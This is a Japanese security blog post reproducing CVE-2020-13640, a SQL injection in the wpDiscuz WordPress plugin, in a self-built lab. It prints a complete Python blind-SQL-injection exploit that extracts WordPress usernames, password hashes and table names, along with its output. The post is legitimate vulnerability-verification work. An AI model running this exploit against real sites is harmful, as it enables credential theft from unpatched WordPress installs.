このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
CVE-2020-13640の検証
今回のArmoris日記ではCVE-2020-13640
の検証をやります。
CVE番号からもわかるように報告されたのは2020年になります。
検証には自身で管理する環境を使用し、自己責任でお願いします
CVE-2020-13640はWordPressのwpDiscuzというプラグインに存在する脆弱性です。
この脆弱性はプラグインのwpdLoadMoreComments
にあるorder
パラメータを利用して任意のSQLコマンドが実行できるというものです。
脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。
影響を受けるバージョン:wpDiscuz <= 5.3.5
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
UbuntuServer | 20.04 |
wpDiscuz | 1.1.4 |
WordPress | 5.6 |
検証
まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。
$ cat Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "generic/ubuntu2004" config.vm.provider "libvirt" config.vm.network "forwarded_port", guest: 80, host: 6544, host_ip: "172.20.100.120" end $ vagrant up
次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。
$ vagrant ssh-config Host default HostName 192.168.121.44 User vagrant Port 22 UserKnownHostsFile /dev/null StrictHostKeyChecking no PasswordAuthentication no IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key IdentitiesOnly yes LogLevel FATAL $ cat host [server] 192.168.121.44 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3 $ ansible-playbook -i host wp.yml -v
以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。
$ wget https://downloads.wordpress.org/plugin/wpdiscuz.5.3.5.zip $ sudo unzip wpdiscuz.5.3.5.zip $ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/
WordPressをインストールし、プラグインを有効化します。
CVE-2020-13640はプラグインを有効化するだけで発生するためこれで検証環境の準備は完了です。
PoCを試す
準備ができたので実際にPoCを実行してみます。
今回は以下のPoCを使用します。
import sys import requests import binascii try: import urlparse except ImportError: import urllib.parse as urlparse DEFAULT_AJAX_ENDPOINT = '/wp-admin/admin-ajax.php' DEBUG = False if len(sys.argv) < 3: print('Usage: %s TARGET_URL POST_ID' % sys.argv[0]) print('TARGET_URL should either point to ajax endpoint or just to site (then default AJAX endpoint %r will be used)' % DEFAULT_AJAX_ENDPOINT) print('For example:') print('%s http://172.17.0.3 1' % sys.argv[0]) print('%s http://test.com/wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php 11834' % sys.argv[0]) exit(1) target = sys.argv[1] commend_id = int(sys.argv[2]) if not target.endswith('.php'): target = urlparse.urljoin(target, DEFAULT_AJAX_ENDPOINT) def make_request_data(order): return { 'action': 'wpdLoadMoreComments', 'offset': '1', 'orderBy': 'comment_date_gmt', 'order': order, 'lastParentId': '', 'postId': str(commend_id) } def oracle_check(check): request_data = make_request_data( ', (select case when (%s) then 1 else 1*(select table_name from information_schema.tables)end)=1 asc #' % check ) if DEBUG: print("REQUEST: %s %s" % (target, request_data)) resp = requests.post(target, data=request_data, files={None:None}) if DEBUG: print("RESPONSE: %d\n%s" % (resp.status_code, resp.content)) return resp.json()['comment_list'] is not None def binary_search(query, min_value=0, max_value=255): query = '(' + query + ')' while max_value - min_value > 1: value = (min_value + max_value) // 2 if oracle_check(query + ' > ' + str(value)): min_value = value else: max_value = value if oracle_check(query + ' > ' + str(min_value)): return max_value return min_value def get_fields(table_name, fields_list, where_clause=''): n_rows = binary_search( ("select count(*) from %s " % table_name) + where_clause ) result = [] for n in range(n_rows): row = [] for field in fields_list: value_len = binary_search( ('select length(%s) from %s ' % (field, table_name)) + where_clause + (' LIMIT %d, 1' % n) ) value = '' for char_idx in range(value_len): char_code = binary_search( ('select ord(substring(%s, %d, 1)) from %s ' % (field, char_idx + 1, table_name)) + where_clause + (' LIMIT %d, 1' % n) ) value += chr(char_code) row.append(value) print(' '.join(row)) print('Wordpress users') get_fields('wp_users', [ 'user_login', 'user_pass'#, #'user_activation_key' ]) print("DB tables") BUILTIN_TABLES = [b'information_schema', b'sys', b'mysql', b'performance_schema'] NOT_BUILTIN_TABLE_CLAUSE = ' and '.join( 'table_schema != 0x' + binascii.hexlify(t).decode('ascii') for t in BUILTIN_TABLES ) get_fields('information_schema.tables', ['table_name'], 'where ' + NOT_BUILTIN_TABLE_CLAUSE)
PoCを実行すると以下の様な結果が表示されます。
$ python3 exploit.py http://172.20.100.120:6544 1 Wordpress users admin $P$BIzYvB4w1QPfvWw.tArYlpiP/PaUOy0 DB tables wp_comments wp_commentmeta wp_users wp_posts wp_wc_avatars_cache wp_term_relationships wp_terms wp_term_taxonomy wp_postmeta wp_wc_phrases wp_usermeta wp_termmeta wp_wc_follow_users wp_links wp_wc_comments_subscription wp_options wp_wc_users_voted
実行結果からもわかる様にWordPressのユーザー名とパスワード(Hash)、DBのテーブル一覧を取得しています。
プラグインをインストールするだけで今回の脆弱性を再現することができました。
おわりに
今回検証した脆弱性はプラグインを有効化してあるだけで悪用可能ですが、プラグインの有効インストール数は8万サイト以上となっているためある程度の影響力があることがわかります。
今回取り上げたプラグインはではすでに脆弱性が修正されたバージョンがリリースされています。
自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。